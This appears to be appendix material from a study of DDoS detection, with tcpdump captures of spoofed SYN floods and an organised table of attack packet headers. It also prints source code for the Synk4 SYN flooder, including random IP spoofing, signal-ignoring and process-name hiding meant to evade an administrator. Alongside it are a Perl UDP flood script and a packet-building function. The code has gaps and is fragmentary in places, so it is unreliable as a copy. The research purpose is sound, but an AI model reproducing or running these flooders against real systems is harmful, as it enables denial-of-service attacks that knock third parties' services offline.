13:19:59.810463 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 78817:80265, ack 767, win 
208, options [nop,nop,TS val 3430089571 ecr 1347600272], length 1448 
13:19:59.810565 IP 104.50.20.3.49211 > 41.53.34.15.443: Flags [.], ack 80265, win 33304, 
options [nop,nop,TS val 1347600304 ecr 3430089571], length 0 
13:19:59.811264 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 80265:81713, ack 767, win 
208, options [nop,nop,TS val 3430089572 ecr 1347600272], length 1448 
13:19:59.811580 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 81713:83161, ack 767, win 
208, options [nop,nop,TS val 3430089572 ecr 1347600272], length 1448 
13:19:59.811608 IP 103.40.50.53.49211 > 41.13.4.15.443: Flags [.], ack 83161, win 32580, 
options [nop,nop,TS val 1347600305 ecr 3430089572], length 0 
13:19:59.814253 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 83161:84421, ack 767, win 
208, options [nop,nop,TS val 3430089577 ecr 1347600273], length 1260 
13:19:59.814294 IP 102.30.40.43.49211 > 6.3.6.14.45: Flags [.], ack 84421, win 32674, 
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Source code of Synk4 attack tool. Refer to our enclosed digital CD to obtain, compile and run 
Synk4 under Linux like systems. 
 
/* Syn Flooder by Zakath 
 * TCP Functions by trurl_ (thanks man). 
 * Some more code by Zakath. 
 * Speed/Misc Tweaks/Enhancments -- ultima 
 * Nice Interface -- ultima 
 * Random IP Spoofing Mode -- ultima 
 * How To Use: 
 * Usage is simple. srcaddr is the IP the packets will be spoofed from. 
 * dstaddr is the target machine you are sending the packets to. 
 * low and high ports are the ports you want to send the packets to. 
 * Random IP Spoofing Mode: Instead of typing in a source address,  
 * just use '0'. This will engage the Random IP Spoofing mode, and 
 * the source address will be a random IP instead of a fixed ip. 
*  To compile: cc -o synk4 synk4.c 










/* These can be handy if you want to run the flooder while the admin is on 
 * this way, it makes it MUCH harder for him to kill your flooder */ 
/* Ignores all signals except Segfault */ 
// #define HEALTHY 
/* Ignores Segfault */ 
// #define NOSEGV 
/* Changes what shows up in ps -aux to whatever this is defined to */ 
// #define HIDDEN "vi .cshrc" 
#define SEQ 0x28376839 
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) 
 
unsigned long send_seq, ack_seq, srcport; 
char flood = 0; 
int sock, ssock, curc, cnt; 
 
/* Check Sum */ 
unsigned short 




 register int nleft = len; 
 register u_short *w = addr; 
 register int sum = 0; 
 u_short answer = 0; 
  
 while (nleft > 1) 
   { 
 - 265 -  
 
    sum += *w++; 
    nleft -= 2; } 
 if (nleft == 1) 
   { 
    *(u_char *) (&answer) = *(u_char *) w; 
    sum += answer; 
   } 
 sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */ 
 sum += (sum >> 16);           /* add carry */ 
 answer = ~sum;                /* truncate to 16 bits */ 
 return (answer); 
} 
void sig_exit(int crap) 
{ 
#ifndef HEALTHY 
 printf("_[H_[JSignal Caught. Exiting Cleanly.\n"); 
 exit(crap); 
#endif} 
void sig_segv(int crap){ 
#ifndef NOSEGV 
 printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n"); 
 exit(crap); 
#endif} 
unsigned long getaddr(char *name) { 
 struct hostent *hep; 
 hep=gethostbyname(name); 
 if(!hep) { 
  fprintf(stderr, "Unknown host %s\n", name); 
  exit(1);} 
 return *(unsigned long *)hep->h_addr;} 
void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { 
 char buf[65536]; 
 struct {  /* rfc 793 tcp pseudo-header */ 
  unsigned long saddr, daddr; 
  char mbz; 
  char ptcl; 
  unsigned short tcpl;} ph; 
  
 struct sockaddr_in sin; /* how necessary is this, given that the destination 






 memcpy(buf, &ph, sizeof(ph)); 
 memcpy(buf+sizeof(ph), th, sizeof(*th)); 
 memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); 
 memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); 
 th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); 
 memcpy(buf, ih, 4*ih->ihl); 
 memcpy(buf+4*ih->ihl, th, sizeof(*th)); 
 memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); 
 memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); 
 ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); 
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 if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) { 
  printf("Error sending syn packet.\n"); perror(""); 
  exit(1);}} 
unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) 
{ 
 int i, s; 
 struct iphdr ih; 
 struct tcphdr th; 
 struct sockaddr_in sin; 
 int sinsize; 
 unsigned short myport=6969; 
 char buf[1024]; 
 struct timeval tv; 
 ih.version=4; 
 ih.ihl=5; 


























 gettimeofday(&tv, 0); 
  
 send_tcp_segment(&ih, &th, "", 0);  
  




 int i; 
 char schar; 
 switch(cnt) 
   { 
   case 0: { 
       schar = '|'; 
       break;} 
   case 1: 
      { 
       schar = '/'; 
       break; 
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      } 
   case 2: 
      { 
       schar = '-'; 
       break; 
      } 
   case 3: 
      { 
       schar = '\\'; 
       break; 
      } 
   case 4: 
      { 
       schar = '|'; 
       cnt = 0; 
       break; 
      } 
   } 
 printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc); 
 cnt++; 
 for(i=0; i<26; i++)  { 
  i++; 





 // Every Signal known to man. If one gives you an error, comment it out! 
 signal(SIGHUP, sig_exit); 
 signal(SIGINT, sig_exit); 
 signal(SIGQUIT, sig_exit); 
 signal(SIGILL, sig_exit); 
 signal(SIGTRAP, sig_exit); 
 signal(SIGIOT, sig_exit); 
 signal(SIGBUS, sig_exit); 
 signal(SIGFPE, sig_exit); 
 signal(SIGKILL, sig_exit); 
 signal(SIGUSR1, sig_exit); 
 signal(SIGSEGV, sig_segv); 
 signal(SIGUSR2, sig_exit); 
 signal(SIGPIPE, sig_exit); 
 signal(SIGALRM, sig_exit); 
 signal(SIGTERM, sig_exit); 
 signal(SIGCHLD, sig_exit); 
 signal(SIGCONT, sig_exit); 
 signal(SIGSTOP, sig_exit); 
 signal(SIGTSTP, sig_exit); 
 signal(SIGTTIN, sig_exit); 
 signal(SIGTTOU, sig_exit); 
 signal(SIGURG, sig_exit); 
 signal(SIGXCPU, sig_exit); 
 signal(SIGXFSZ, sig_exit); 
 signal(SIGVTALRM, sig_exit); 
 signal(SIGPROF, sig_exit); 
 signal(SIGWINCH, sig_exit); 
 signal(SIGIO, sig_exit); 
 signal(SIGPWR, sig_exit); 
} 
main(int argc, char **argv) { 
   int i, x, max, floodloop, diff, urip, a, b, c, d; 
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   unsigned long them, me_fake; 
   unsigned lowport, highport; 
   char buf[1024], *junk; 
    
   init_signals();    
#ifdef HIDDEN 
   for (i = argc-1; i >= 0; i--) 
     /* Some people like bzero...i prefer memset :) */ 
     memset(argv[i], 0, strlen(argv[i])); 
   strcpy(argv[0], HIDDEN); 
#endif 
    
   if(argc<5) { 
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]); 
      printf("    If srcaddr is 0, random addresses will be used\n\n\n"); 
       
      exit(1); 
   } 
   if( atoi(argv[1]) == 0 ) 
     urip = 1; 
   else     
     me_fake=getaddr(argv[1]); 
   them=getaddr(argv[2]); 
   lowport=atoi(argv[3]); 
   highport=atoi(argv[4]); 
   srandom(time(0)); 
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 
   if(ssock<0) { 
      perror("socket (raw)"); 
      exit(1); 
   } 
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); 
   if(sock<0) { 
      perror("socket"); 
      exit(1); 
   } 
   junk = (char *)malloc(1024); 
   max = 1500; 
   i = 1; 
   diff = (highport - lowport); 
    
   if (diff > -1)  
     { 
 printf("_[H_[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of 
the University\n of California. All Rights Reserved."); 
 for (i=1;i>0;i++) 
   { 
      srandom((time(0)+i)); 
      srcport = getrandom(1, max)+1000; 
      for (x=lowport;x<=highport;x++)  
        { 
    if ( urip == 1 ) 
      { 
         a = getrandom(0, 255); 
         b = getrandom(0, 255); 
         c = getrandom(0, 255); 
         d = getrandom(0, 255); 
         sprintf(junk, "%i.%i.%i.%i", a, b, c, d); 
         me_fake = getaddr(junk); 
      } 
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    spoof_open(/*0xe1e26d0a*/ me_fake, them, x); 
    /* A fair delay. Good for a 28.8 connection */  
    usleep(300); 
     
    if (!(floodloop = (floodloop+1)%(diff+1))) { 
       upsc(); fflush(stdout); 
    } 
        } 
   } 
     } 
   else { 
      printf("High port must be greater than Low port.\n"); 
      exit(1); 
   } 
} 
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# udp flood. 







if ($ARGC !=3) { 
 printf "$0 <ip> <port> <time>\n"; 





 $port=$ARGV[1];  
 $time=$ARGV[2]; 
 
socket(crazy, PF_INET, SOCK_DGRAM, 17); 
    $iaddr = inet_aton("$ip"); 
 
printf "udp flood - odix\n"; 
if ($ARGV[1] ==0 && $ARGV[2] ==0) { 
 goto randpackets;} 
if ($ARGV[1] !=0 && $ARGV[2] !=0) { 
 system("(sleep $time;killall -9 udp) &"); 
 goto packets;} 
 
if ($ARGV[1] !=0 && $ARGV[2] ==0) { 
 goto packets;} 
if ($ARGV[1] ==0 && $ARGV[2] !=0) { 
 system("(sleep $time;killall -9 udp) &");  
goto randpackets;} 
packets: 
for (;;) { 
 $size=$rand x $rand x $rand; 
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));}  
randpackets: 
for (;;) { 
 $size=$rand x $rand x $rand; 
 $port=int(rand 65000) +1; 









Sample examples of DDoS attacks. For more examples refer to the provided CD. 
 
 
19:09:05.846813 IP 103.122.126.187.28 > 10.0.2.15.22: Flags [S], seq 4131284912, win 0, 
length 0 
19:09:06.118826 IP 122.145.111.185.61 > 10.0.2.15.22: Flags [S], seq 955867424, win 0, 
length 0 
19:09:06.439545 IP 126.176.161.154.70 > 10.0.2.15.22: Flags [S], seq 1914624650, win 0, 
length 0 
19:09:06.693880 IP 172.172.131.151.87 > 10.0.2.15.22: Flags [S], seq 2882756744, win 0, 
length 0 
19:09:07.625394 IP 100.135.122.153.85 > 10.0.2.15.22: Flags [S], seq 3301071279, win 0, 
length 0 
19:09:08.215897 IP 103.112.105.142.37 > 10.0.2.15.22: Flags [S], seq 2191320599, win 0, 
length 0 
19:09:08.724492 IP 168.116.184.150.82 > 10.0.2.15.22: Flags [S], seq 3669700748, win 0, 
length 0 
19:09:08.745258 IP 148.166.188.173.77 > 10.0.2.15.22: Flags [S], seq 2187252199, win 0, 
length 0 
19:09:09.684679 IP 126.144.132.185.77 > 10.0.2.15.22: Flags [S], seq 2138448310, win 0, 
length 0 
19:09:10.553653 IP 162.106.172.186.47 > 10.0.2.15.22: Flags [S], seq 102132516, win 0, 
length 0 
19:09:11.078971 IP 171.128.160.135.43 > 10.0.2.15.22: Flags [S], seq 3452517101, win 0, 
length 0 
19:09:11.916740 IP 125.158.130.143.22 > 10.0.2.15.22: Flags [S], seq 2881268786, win 0, 
length 0 
19:09:12.905214 IP 101.112.160.150.32 > 10.0.2.15.22: Flags [S], seq 1783527484, win 0, 
length 0 
19:09:13.409834 IP 127.176.145.122.61 > 10.0.2.15.22: Flags [S], seq 1620845503, win 0, 
length 0 
19:09:14.287370 IP 100.168.171.122.68 > 10.0.2.15.22: Flags [S], seq 3522999028, win 0, 
length 0 
19:09:15.177910 IP 123.163.174.101.83 > 10.0.2.15.22: Flags [S], seq 3997305783, win 0, 
length 0 
19:09:15.989047 IP 171.144.146.163.15 > 10.0.2.15.22: Flags [S], seq 3129028531, win 0, 
length 0 
19:09:16.005383 IP 141.152.165.173.46 > 10.0.2.15.22: Flags [S], seq 2728927363, win 0, 
length 0 
19:09:16.895257 IP 173.164.178.186.63 > 10.0.2.15.22: Flags [S], seq 3561606625, win 0, 
length 0 
19:09:17.384944 IP 166.163.165.134.51 > 10.0.2.15.22: Flags [S], seq 707225728, win 0, 
length 0 
19:09:17.638722 IP 155.108.183.113.25 > 10.0.2.15.22: Flags [S], seq 3949790601, win 0, 
length 0 
19:09:17.978888 IP 124.127.110.172.16 > 10.0.2.15.22: Flags [S], seq 851204628, win 0, 
length 0 
19:09:18.278346 IP 155.100.153.170.14 > 10.0.2.15.22: Flags [S], seq 3034727066, win 0, 
length 0 
19:09:18.391532 IP 173.186.176.173.75 > 10.0.2.15.22: Flags [S], seq 1403645391, win 0, 
length 0 
19:09:19.166944 IP 153.187.138.104.17 > 10.0.2.15.22: Flags [S], seq 2105860361, win 0, 
length 0 
19:09:20.143640 IP 111.187.117.148.28 > 10.0.2.15.22: Flags [S], seq 1416169143, win 0, 
length 0 
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19:09:20.677333 IP 162.128.183.157.72 > 10.0.2.15.22: Flags [S], seq 574597233, win 0, 
length 0 
19:09:21.254871 IP 124.177.186.138.53 > 10.0.2.15.22: Flags [S], seq 3851229986, win 0, 
length 0 
19:09:21.817304 IP 117.178.157.188.2 > 10.0.2.15.22: Flags [S], seq 4118928413, win 0, 
length 0 
19:09:21.905642 IP 156.187.167.165.44 > 10.0.2.15.22: Flags [S], seq 897087165, win 0, 
length 0 
19:09:22.505052 IP 133.117.161.101.60 > 10.0.2.15.22: Flags [S], seq 2454681226, win 0, 
length 0 
19:09:22.585347 IP 145.111.153.153.65 > 10.0.2.15.22: Flags [S], seq 2160457865, win 0, 
length 0 
19:09:23.034460 IP 160.112.184.126.31 > 10.0.2.15.22: Flags [S], seq 994097755, win 0, 
length 0 
19:09:23.639114 IP 120.151.130.145.65 > 10.0.2.15.22: Flags [S], seq 788631214, win 0, 
length 0 
19:09:24.258712 IP 181.143.135.107.15 > 10.0.2.15.22: Flags [S], seq 721052777, win 0, 
length 0 
19:09:24.446191 IP 148.143.102.164.75 > 10.0.2.15.22: Flags [S], seq 1047802300, win 0, 
length 0 
19:09:25.037482 IP 137.117.165.177.83 > 10.0.2.15.22: Flags [S], seq 1247125526, win 0, 
length 0 
19:09:25.305209 IP 107.135.102.123.55 > 10.0.2.15.22: Flags [S], seq 2214947377, win 0, 
length 0 
19:09:25.703586 IP 101.131.105.161.12 > 10.0.2.15.22: Flags [S], seq 1115763504, win 0, 
length 0 
19:09:25.867095 IP 101.178.105.107.78 > 10.0.2.15.22: Flags [S], seq 4035161485, win 0, 
length 0 
19:09:26.215363 IP 187.153.125.178.7 > 10.0.2.15.22: Flags [S], seq 1147813695, win 0, 
length 0 
19:09:26.237731 IP 145.117.167.131.77 > 10.0.2.15.22: Flags [S], seq 1459853789, win 0, 
length 0 
19:09:26.640659 IP 165.145.123.116.41 > 10.0.2.15.22: Flags [S], seq 177629891, win 0, 
length 0 
19:09:26.848252 IP 117.175.165.146.42 > 10.0.2.15.22: Flags [S], seq 1435524562, win 0, 
length 0 
19:09:27.360026 IP 131.101.102.138.58 > 10.0.2.15.22: Flags [S], seq 1171430790, win 0, 
length 0 
19:09:27.935280 IP 126.101.185.110.45 > 10.0.2.15.22: Flags [S], seq 3805620362, win 0, 
length 0 
19:09:28.888281 IP 104.165.164.108.12 > 10.0.2.15.22: Flags [S], seq 1011462990, win 0, 
length 0 
19:09:29.024206 IP 157.113.138.141.45 > 10.0.2.15.22: Flags [S], seq 1311412668, win 0, 
length 0 
19:09:29.108311 IP 153.158.172.166.42 > 10.0.2.15.22: Flags [S], seq 3874034361, win 0, 
length 0 
19:09:29.279353 IP 144.167.133.100.3 > 10.0.2.15.22: Flags [S], seq 1016176244, win 0, 
length 0 
19:09:30.250535 IP 102.182.136.181.8 > 10.0.2.15.22: Flags [S], seq 86327357, win 0, 
length 0 
19:09:30.404915 IP 172.150.167.152.63 > 10.0.2.15.22: Flags [S], seq 3294267094, win 0, 
length 0 
19:09:31.326014 IP 118.101.120.123.61 > 10.0.2.15.22: Flags [S], seq 3905908037, win 0, 
length 0 
19:09:31.445086 IP 171.166.154.147.85 > 10.0.2.15.22: Flags [S], seq 2146186890, win 0, 
length 0 
19:09:32.343232 IP 114.127.117.157.1 > 10.0.2.15.22: Flags [S], seq 3451767548, win 0, 
length 0 
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19:09:51.437646 IP 122.128.146.138.22 > 10.0.2.15.22: Flags [S], seq 2632380868, win 0, 
length 0 
19:09:51.878258 IP 148.111.162.108.24 > 10.0.2.15.22: Flags [S], seq 2777631430, win 0, 
length 0 
19:09:52.129998 IP 135.162.136.131.21 > 10.0.2.15.22: Flags [S], seq 2214579283, win 0, 
length 0 
19:09:52.966185 IP 127.187.152.156.73 > 10.0.2.15.22: Flags [S], seq 3091326610, win 0, 
length 0 
19:09:53.326516 IP 138.147.103.141.37 > 10.0.2.15.22: Flags [S], seq 1700508426, win 0, 
length 0 
19:09:53.997375 IP 135.160.177.132.61 > 10.0.2.15.22: Flags [S], seq 4031358655, win 0, 
length 0 
19:09:54.418863 IP 112.155.123.123.35 > 10.0.2.15.22: Flags [S], seq 7382158, win 0, 
length 0 
19:09:54.619072 IP 187.188.168.108.20 > 10.0.2.15.22: Flags [S], seq 2212602577, win 0, 
length 0 
19:09:54.848218 IP 148.183.177.103.20 > 10.0.2.15.22: Flags [S], seq 1223777360, win 0, 
length 0 
19:09:55.296699 IP 137.115.137.117.33 > 10.0.2.15.22: Flags [S], seq 3496016465, win 0, 
length 0 
19:09:55.689954 IP 127.103.120.131.4 > 10.0.2.15.22: Flags [S], seq 1124931183, win 0, 
length 0 
19:09:56.130012 IP 151.150.125.118.46 > 10.0.2.15.22: Flags [S], seq 2789341820, win 0, 
length 0 
19:09:56.550254 IP 137.125.164.104.76 > 10.0.2.15.22: Flags [S], seq 364832318, win 0, 
length 0 
19:09:57.211163 IP 148.114.132.123.34 > 10.0.2.15.22: Flags [S], seq 269913618, win 0, 
length 0 
19:09:57.997213 IP 123.185.162.125.55 > 10.0.2.15.22: Flags [S], seq 3099396078, win 0, 
length 0 
19:09:58.804918 IP 115.103.157.101.54 > 10.0.2.15.22: Flags [S], seq 1824587863, win 0, 
length 0 
19:09:58.861604 IP 164.105.145.103.55 > 10.0.2.15.22: Flags [S], seq 3072612008, win 0, 
length 0 
19:09:58.945982 IP 151.131.156.168.2 > 10.0.2.15.22: Flags [S], seq 3735937416, win 0, 
length 0 
19:09:59.821718 IP 145.171.113.165.2 > 10.0.2.15.22: Flags [S], seq 3512460506, win 0, 
length 0 
19:10:00.699925 IP 140.113.168.103.52 > 10.0.2.15.22: Flags [S], seq 2682166018, win 0, 
length 0 
19:10:01.030634 IP 137.177.160.182.1 > 10.0.2.15.22: Flags [S], seq 1573603312, win 0, 
length 0 
19:10:01.445824 IP 124.147.102.132.10 > 10.0.2.15.22: Flags [S], seq 747097438, win 0, 
length 0 
19:10:02.429568 IP 171.128.186.125.20 > 10.0.2.15.22: Flags [S], seq 720031885, win 0, 
length 0 
19:10:03.376875 IP 145.112.147.103.35 > 10.0.2.15.22: Flags [S], seq 15932286, win 0, 
length 0 
19:10:03.805706 IP 180.145.143.102.66 > 10.0.2.15.22: Flags [S], seq 2575044207, win 0, 
length 0 
19:10:04.151171 IP 124.157.158.160.23 > 10.0.2.15.22: Flags [S], seq 708324369, win 0, 
length 0 
19:10:04.898724 IP 144.132.101.131.58 > 10.0.2.15.22: Flags [S], seq 3565320976, win 0, 
length 0 
19:10:05.538455 IP 153.158.182.120.2 > 10.0.2.15.22: Flags [S], seq 3262632830, win 0, 
length 0 
19:10:05.890191 IP 136.150.124.160.81 > 10.0.2.15.22: Flags [S], seq 3442712655, win 0, 
length 0 
19:10:06.698179 IP 165.162.127.151.83 > 10.0.2.15.22: Flags [S], seq 1670633426, win 0, 
length 0 
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19:10:07.445702 IP 136.102.188.123.65 > 10.0.2.15.22: Flags [S], seq 2892995461, win 0, 
length 0 
19:10:07.770114 IP 165.166.135.130.83 > 10.0.2.15.22: Flags [S], seq 1033259089, win 0, 
length 0 
19:10:08.179362 IP 174.166.175.166.12 > 10.0.2.15.22: Flags [S], seq 2163160380, win 0, 
length 0 
19:10:08.335171 IP 125.154.138.130.82 > 10.0.2.15.22: Flags [S], seq 4264451742, win 0, 
length 0 
19:10:09.020540 IP 103.162.163.151.63 > 10.0.2.15.22: Flags [S], seq 1860651117, win 0, 
length 0 
19:10:09.706036 IP 123.175.147.104.16 > 10.0.2.15.22: Flags [S], seq 1535263264, win 0, 
length 0 
19:10:09.798186 IP 131.140.142.181.5 > 10.0.2.15.22: Flags [S], seq 3414094618, win 0, 
length 0 
19:10:09.837756 IP 103.181.100.121.5 > 10.0.2.15.22: Flags [S], seq 2515196593, win 0, 
length 0 
19:10:09.967979 IP 148.158.130.176.56 > 10.0.2.15.22: Flags [S], seq 711766747, win 0, 
length 0 
19:10:10.656329 IP 162.124.133.162.2 > 10.0.2.15.22: Flags [S], seq 1763901244, win 0, 
length 0 
19:10:11.198636 IP 162.100.126.147.86 > 10.0.2.15.22: Flags [S], seq 1195596963, win 0, 
length 0 
19:10:11.530208 IP 187.162.123.150.87 > 10.0.2.15.22: Flags [S], seq 124298990, win 0, 
length 0 
19:10:11.569480 IP 172.144.150.165.64 > 10.0.2.15.22: Flags [S], seq 1365750357, win 0, 
length 0 
19:10:12.025895 IP 117.156.165.148.70 > 10.0.2.15.22: Flags [S], seq 185441106, win 0, 
length 0 
19:10:12.277133 IP 187.147.141.132.86 > 10.0.2.15.22: Flags [S], seq 2885017611, win 0, 
length 0 
19:10:12.707588 IP 104.100.172.188.25 > 10.0.2.15.22: Flags [S], seq 4073771133, win 0, 
length 0 
19:10:13.355107 IP 122.182.144.124.26 > 10.0.2.15.22: Flags [S], seq 860295434, win 0, 
length 0 
19:10:13.728678 IP 111.184.158.170.37 > 10.0.2.15.22: Flags [S], seq 3523360183, win 0, 
length 0 
19:10:14.255034 IP 105.172.183.167.3 > 10.0.2.15.22: Flags [S], seq 233760425, win 0, 
length 0 
19:10:15.144544 IP 157.165.183.152.67 > 10.0.2.15.22: Flags [S], seq 3679884970, win 0, 
length 0 
19:10:15.805231 IP 147.161.140.165.8 > 10.0.2.15.22: Flags [S], seq 3524195946, win 0, 
length 0 
19:10:16.805375 IP 138.174.167.138.88 > 10.0.2.15.22: Flags [S], seq 879917018, win 0, 
length 0 
19:10:16.855336 IP 120.155.116.108.36 > 10.0.2.15.22: Flags [S], seq 397366257, win 0, 
length 0 
19:10:17.224545 IP 145.176.171.105.64 > 10.0.2.15.22: Flags [S], seq 2607765064, win 0, 
length 0 
19:10:17.436687 IP 106.131.140.170.25 > 10.0.2.15.22: Flags [S], seq 172626026, win 0, 
length 0 
19:10:18.395771 IP 166.138.106.157.6 > 10.0.2.15.22: Flags [S], seq 1769925460, win 0, 
length 0 
19:10:19.239197 IP 117.147.127.170.35 > 10.0.2.15.22: Flags [S], seq 3071333944, win 0, 
length 0 
19:10:19.288283 IP 151.108.124.111.8 > 10.0.2.15.22: Flags [S], seq 2359850716, win 0, 
length 0 
19:10:20.047547 IP 185.108.114.153.63 > 10.0.2.15.22: Flags [S], seq 3972672550, win 0, 
length 0 
19:10:20.220462 IP 138.171.123.144.21 > 10.0.2.15.22: Flags [S], seq 2872377554, win 0, 
length 0 
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19:10:20.805197 IP 134.156.148.136.53 > 10.0.2.15.22: Flags [S], seq 3846319354, win 0, 
length 0 
19:10:21.134636 IP 126.155.106.183.48 > 10.0.2.15.22: Flags [S], seq 372395218, win 0, 
length 0 
19:10:21.605622 IP 117.101.120.110.64 > 10.0.2.15.22: Flags [S], seq 1829766973, win 0, 
length 0 
19:10:21.946035 IP 175.133.112.151.7 > 10.0.2.15.22: Flags [S], seq 1633648292, win 0, 
length 0 
19:10:22.905112 IP 187.108.132.184.32 > 10.0.2.15.22: Flags [S], seq 4235394146, win 0, 
length 0 
19:10:23.511332 IP 150.156.125.167.17 > 10.0.2.15.22: Flags [S], seq 2468501470, win 0, 
length 0 
19:10:24.020188 IP 152.168.142.116.86 > 10.0.2.15.22: Flags [S], seq 330133327, win 0, 
length 0 
19:10:24.647419 IP 168.157.188.111.37 > 10.0.2.15.22: Flags [S], seq 2447885543, win 0, 
length 0 
19:10:24.944833 IP 160.163.113.146.67 > 10.0.2.15.22: Flags [S], seq 1797343274, win 0, 
length 0 
19:10:25.569874 IP 186.135.164.161.58 > 10.0.2.15.22: Flags [S], seq 852397731, win 0, 
length 0 
19:10:26.344693 IP 102.166.102.107.4 > 10.0.2.15.22: Flags [S], seq 2420150956, win 0, 
length 0 
19:10:26.685843 IP 146.162.134.153.10 > 10.0.2.15.22: Flags [S], seq 3981041157, win 0, 
length 0 
19:10:26.928879 IP 133.145.134.176.22 > 10.0.2.15.22: Flags [S], seq 2254017547, win 0, 
length 0 
19:10:27.030928 IP 123.122.148.113.18 > 10.0.2.15.22: Flags [S], seq 1496936199, win 0, 
length 0 
19:10:27.760542 IP 115.167.145.131.61 > 10.0.2.15.22: Flags [S], seq 225120391, win 0, 
length 0 
19:10:28.244286 IP 151.187.158.148.80 > 10.0.2.15.22: Flags [S], seq 849846582, win 0, 
length 0 
19:10:28.918854 IP 125.107.168.178.54 > 10.0.2.15.22: Flags [S], seq 2393559530, win 0, 
length 0 
19:10:29.210300 IP 177.160.167.131.58 > 10.0.2.15.22: Flags [S], seq 2641734865, win 0, 
length 0 
19:10:30.059603 IP 172.176.141.120.77 > 10.0.2.15.22: Flags [S], seq 3050242039, win 0, 
length 0 
19:10:30.824380 IP 115.134.141.181.37 > 10.0.2.15.22: Flags [S], seq 1156084901, win 0, 
length 0 
19:10:31.053724 IP 166.104.104.142.65 > 10.0.2.15.22: Flags [S], seq 1917342575, win 0, 
length 0 
19:10:31.666219 IP 145.152.152.101.20 > 10.0.2.15.22: Flags [S], seq 236657692, win 0, 
length 0 
19:10:31.779470 IP 174.125.183.147.37 > 10.0.2.15.22: Flags [S], seq 2555522874, win 0, 
length 0 
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  hy_build_udp_packet 
    ( 
      hy_pattern_t* src_pattern, 
      hy_pattern_t* dst_pattern, 
      int ip_v_assumption, 
      unsigned char** packet, 
      int* packet_len, 
      unsigned char* data, 
      int data_len, 
      unsigned int ip_ttl 
    ) { 
 
  /* 
   * USAGE: 
   *   Builds an UDP packet based 
   *   on the given arguments. 
   */ 
  int ret = HY_ER_OK; 
  int udp_pkt_len = 
    sizeof(udp_h_t) + 
    data_len; 
  unsigned char udp_pkt[udp_pkt_len]; 
  udp_h_t* udp_h = NULL; 
 
   /* Parse address patterns */ 
  if ((ret = 
         hy_parse_pattern( 
           src_pattern, 
           ip_v_assumption)) != HY_ER_OK || 
      (ret = 
         hy_parse_pattern( 
           dst_pattern, 
           ip_v_assumption)) != HY_ER_OK) { 
      return ret; 
  } 
  /* Validate pattern format */ 
  if (strlen(src_pattern->hw_addr) == 0 || 
      strlen(src_pattern->ip_addr) == 0 || 
      src_pattern->port == 0) { 
    return HY_ER_WRONG_PT_FMT_SRC; 
  } 
  if (strlen(dst_pattern->hw_addr) == 0 || 
      strlen(dst_pattern->ip_addr) == 0 || 
      dst_pattern->port == 0) { 
    return HY_ER_WRONG_PT_FMT_DST; 
  } 
  if (src_pattern->ip_v != dst_pattern->ip_v) { 
    return HY_ER_MULTIPLE_IP_V; 
  } 
  memset(udp_pkt, 0, udp_pkt_len); 
  /* Build UDP header */ 
  udp_h = (udp_h_t*) udp_pkt; 
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  udp_h->uh_sport = htons(src_pattern->port); 
  udp_h->uh_dport = htons(dst_pattern->port); 
  udp_h->uh_ulen = htons(sizeof(udp_h_t) + data_len); 
  /* Add data */ 
  if (data_len > 0) { 
    memcpy( 
      udp_pkt + sizeof(udp_h_t), 
      data, 
      data_len); 
  } 
  /* Wrap IP-Layer */ 
  return hy_build_ip_packet( 
            src_pattern, 
            dst_pattern, 
            ip_v_assumption, 
            packet, 
            packet_len, 
            udp_pkt, 
            udp_pkt_len, 
            IP_PROTO_UDP, 
            ip_ttl); 
} /* hy_build_udp_packet */ 
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Appendix 5-1  
Following is example of organised destination, source and TCP packet header information. In 
this Example the potential destination IP address is 10.0.0.2 that is under TCP DDoS attack. 
For other examples, refer to the provided CD.  
 
10.0.0.2        12.27.15.62:S:4221762351:38:22 
10.0.0.2        12.26.31.63:S:3861293795:42:22 
10.0.0.2        12.41.51.55:S:4192436337:71:22 
10.0.0.2        12.37.66.60:S:335048316:44:22 
10.0.0.2        12.54.71.84:S:584240621:64:22 
10.0.0.2        12.72.23.12:S:275287918:77:22 
10.0.0.2        12.31.56.18:S:468414313:82:22 
10.0.0.2        12.34.32.56:S:3170720088:78:22 
10.0.0.2        12.27.46.48:S:3377920481:47:22 
10.0.0.2        12.18.15.16:S:2921628914:18:22 
10.0.0.2        12.58.68.41:S:501462678:56:22 
10.0.0.2        12.56.38.16:S:2655810663:68:22 
10.0.0.2        12.16.54.26:S:3948964387:70:22 
10.0.0.2        12.84.15.68:S:3524629118:53:22 
10.0.0.2        12.15.34.45:S:1063351013:2:22 
10.0.0.2        12.47.35.46:S:3451251784:24:22 
10.0.0.2        12.44.54.24:S:3032912743:51:22 
10.0.0.2        12.52.34.28:S:329969911:12:22 
10.0.0.2        12.57.46.17:S:3995669976:84:22 
10.0.0.2        12.24.11.37:S:379298949:68:22 
10.0.0.2        12.65.62.18:S:254549129:67:22 
10.0.0.2        12.85.52.56:S:3708589359:27:22 
10.0.0.2        12.54.16.34:S:3066961648:48:22 
10.0.0.2        12.34.12.17:S:1716692045:63:22 
10.0.0.2        12.13.72.14:S:555161223:63:22 
10.0.0.2        12.73.74.44:S:811414090:34:22 
10.0.0.2        12.43.56.28:S:4103957959:48:22 
10.0.0.2        12.55.20.17:S:719118315:32:22 
10.0.0.2        12.15.50.12:S:3444515513:38:22 
